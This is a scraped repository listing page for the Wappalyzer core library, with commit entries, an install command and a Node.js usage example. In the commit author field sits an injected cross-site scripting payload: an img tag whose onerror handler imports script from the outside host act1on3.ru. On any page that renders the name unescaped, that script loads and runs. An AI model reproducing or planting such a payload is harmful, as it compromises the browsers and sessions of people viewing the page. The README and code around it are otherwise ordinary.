You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
Artem '"img src onerror=import('//act1on3.ru/i') eb546e6834
Update apps.json
4 years ago
..
drivers Merge branch 'master' into httparchive 4 years ago
README.md Deprecate bookmarklet driver 4 years ago
apps.json Update apps.json 4 years ago
package.json Fix localisation, patterns and error handling when saving options 4 years ago
wappalyzer.js Gracefully handle removed technologies 4 years ago

README.md

Wappalyzer core

Wappalyzer indentifies technologies on websites.

Installation

$ npm i wappalyzer-core

Usage

#!/usr/bin/env node

const fs = require('fs')
const Wappalyzer = require('./wappalyzer')

// See https://www.wappalyzer.com/docs/dev/specification or use
// https://raw.githubusercontent.com/AliasIO/wappalyzer/master/src/apps.json
const { apps: technologies, categories } = JSON.parse(
  fs.readFileSync('./apps.json')
)

Wappalyzer.setTechnologies(technologies)
Wappalyzer.setCategories(categories)

const detections = Wappalyzer.analyze({
  url: 'https://example.github.io/',
  meta: { generator: ['WordPress'] },
  headers: { server: ['Nginx'] },
  scripts: ['jquery-3.0.0.js'],
  cookies: { awselb: [''] },
  html: '<div ng-app="">'
})

const results = Wappalyzer.resolve(detections)

console.log(results)